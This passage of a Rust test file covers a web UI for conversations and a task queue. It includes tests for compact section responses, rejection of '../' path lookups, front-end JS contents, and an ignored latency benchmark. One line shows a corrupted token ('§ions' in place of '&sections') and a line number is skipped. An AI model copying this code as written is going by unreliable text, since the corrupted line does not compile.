26927 let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
26928 assert_eq!(sections["tasks"][0]["id"], task.id);
26929 assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
26930 assert!(sections["tasks"][0].get("instruction").is_none());
26931 assert!(serde_json::to_vec(§ions).unwrap().len() < 8192);
26932 }
26933
26934 #[test]
26935 fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
26936 let home = tempfile::tempdir().unwrap();
26937 let talks = Talks::at(home.path().join("talks"));
26938 seed_talk_at(&talks, "20261019-000001-abcd", "open");
26939 seed_talk_at(&talks, "20261019-000002-abcd", "open");
26940 std::fs::write(home.path().join("outside.json"), "{}").unwrap();
26941 assert!(resolve_talk(&talks, "../outside").is_err());
26942 assert!(resolve_talk(&talks, "abcd").is_err());
26943 assert_eq!(
26944 resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
26945 "20261019-000001-abcd"
26946 );
26947 }
26948
26949 include!(concat!(
26950 env!("CARGO_MANIFEST_DIR"),
26951 "/tests/web_latency/baseline.rs"
26952 ));
26953
26954 include!(concat!(
26955 env!("CARGO_MANIFEST_DIR"),
26956 "/tests/web_latency/lists.rs"
26957 ));
26958
26959 #[tokio::test]
26960 #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
26961 async fn web_history_latency_measurement() {
26962 use std::time::Instant;
26963 let home = tempfile::tempdir().unwrap();
26964 let ui = delta_test_ui(home.path());
26965 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26966 let mut template = ui.talks.get(&id).unwrap();
26967 template.turns = serde_json::from_value(serde_json::json!([{
26968 "who": "operator", "body": "Show the accumulated work and its current status.",
26969 "at": Timestamp::now().to_string(),
26970 }]))
26971 .unwrap();
26972 std::fs::write(
26973 ui.talks.path_of(&id),
26974 serde_json::to_vec(&template).unwrap(),
26975 )
26976 .unwrap();
26977 let count = std::env::var("MAGI_BENCH_RECORDS")
26978 .ok()
26979 .and_then(|s| s.parse::<usize>().ok())
26980 .unwrap_or(1000);
26981 for i in 0..count {
26982 template.id = format!("20261019-{i:06}-history");
26983 template.pending = "history ".repeat(2048);
26984 std::fs::write(
26985 ui.talks.path_of(&template.id),
26986 serde_json::to_vec(&template).unwrap(),
26987 )
26988 .unwrap();
26989 let mut task = Task::new(
26990 "old task".into(),
26991 "instruction ".repeat(2048),
26992 PathBuf::from("/repo"),
26993 Source::Human,
26994 );
26995 task.id = format!("20261019-{i:06}-task");
26996 ui.queue.put(&mut task).unwrap();
26997 }
26998 for baseline in [true, false] {
26999 for clients in [1, 4] {
27000 let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
27001 let mut samples = Vec::new();
27002 for _ in 0..12 {
27003 let mut jobs = Vec::new();
27004 for _ in 0..clients {
27005 let ui = ui.clone();
27006 let id = id.clone();
27007 jobs.push(tokio::spawn(async move {
27008 let start = Instant::now();
27009 if baseline {
27010 let response =
27011 baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
27012 let elapsed = start.elapsed().as_secs_f64() * 1000.0;
27013 return (
27014 elapsed,
27015 elapsed,
27016 serde_json::to_vec(&response).unwrap().len(),
27017 );
27018 }
27019 let core = talk_core(State(ui.clone()), Path(id.clone()));
27020 let secondary = talk_sections(State(ui), Path(id));
27021 let (first, total) = tokio::join!(
27022 async {
27023 let value = core.await.unwrap().0;
27024 (
27025 start.elapsed().as_secs_f64() * 1000.0,
27026 serde_json::to_vec(&value).unwrap().len(),
27027 )
27028 },
27029 async {
27030 let value = secondary.await.unwrap().0;
27031 (
27032 start.elapsed().as_secs_f64() * 1000.0,
27033 serde_json::to_vec(&value).unwrap().len(),
27034 )
27035 }
27036 );
27037 (first.0, first.0.max(total.0), first.1 + total.1)
27038 }));
27039 }
27040 for job in jobs {
27041 samples.push(job.await.unwrap());
27042 }
27043 }
27044 let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
27045 let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
27046 first.sort_by(f64::total_cmp);
27047 total.sort_by(f64::total_cmp);
27048 let n = first.len();
27049 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
27050 println!(
27051 "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
27052 first[n / 2],
27053 first[(n * 95 / 100).min(n - 1)],
27054 total[n / 2],
27055 total[(n * 95 / 100).min(n - 1)],
27056 samples[0].2
27057 );
27058 }
27059 }
27060 }
27061
27062 #[test]
27063 fn app_js_contains_progressive_rendering_and_decoupled_reports() {
27064 assert!(!APP_JS.contains("Promise.allSettled([\n getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
27066 assert!(APP_JS.contains("function nextRunRequest(id)"));
27067 assert!(APP_JS.contains("function runShell(id, summary)"));
27068 assert!(APP_JS.contains("function nextTaskRequest(id)"));
27069 assert!(APP_JS.contains("function taskShell(id, summary)"));
27070 assert!(APP_JS.contains("state.detail.reportLoading = false;"));
27071 }
27072}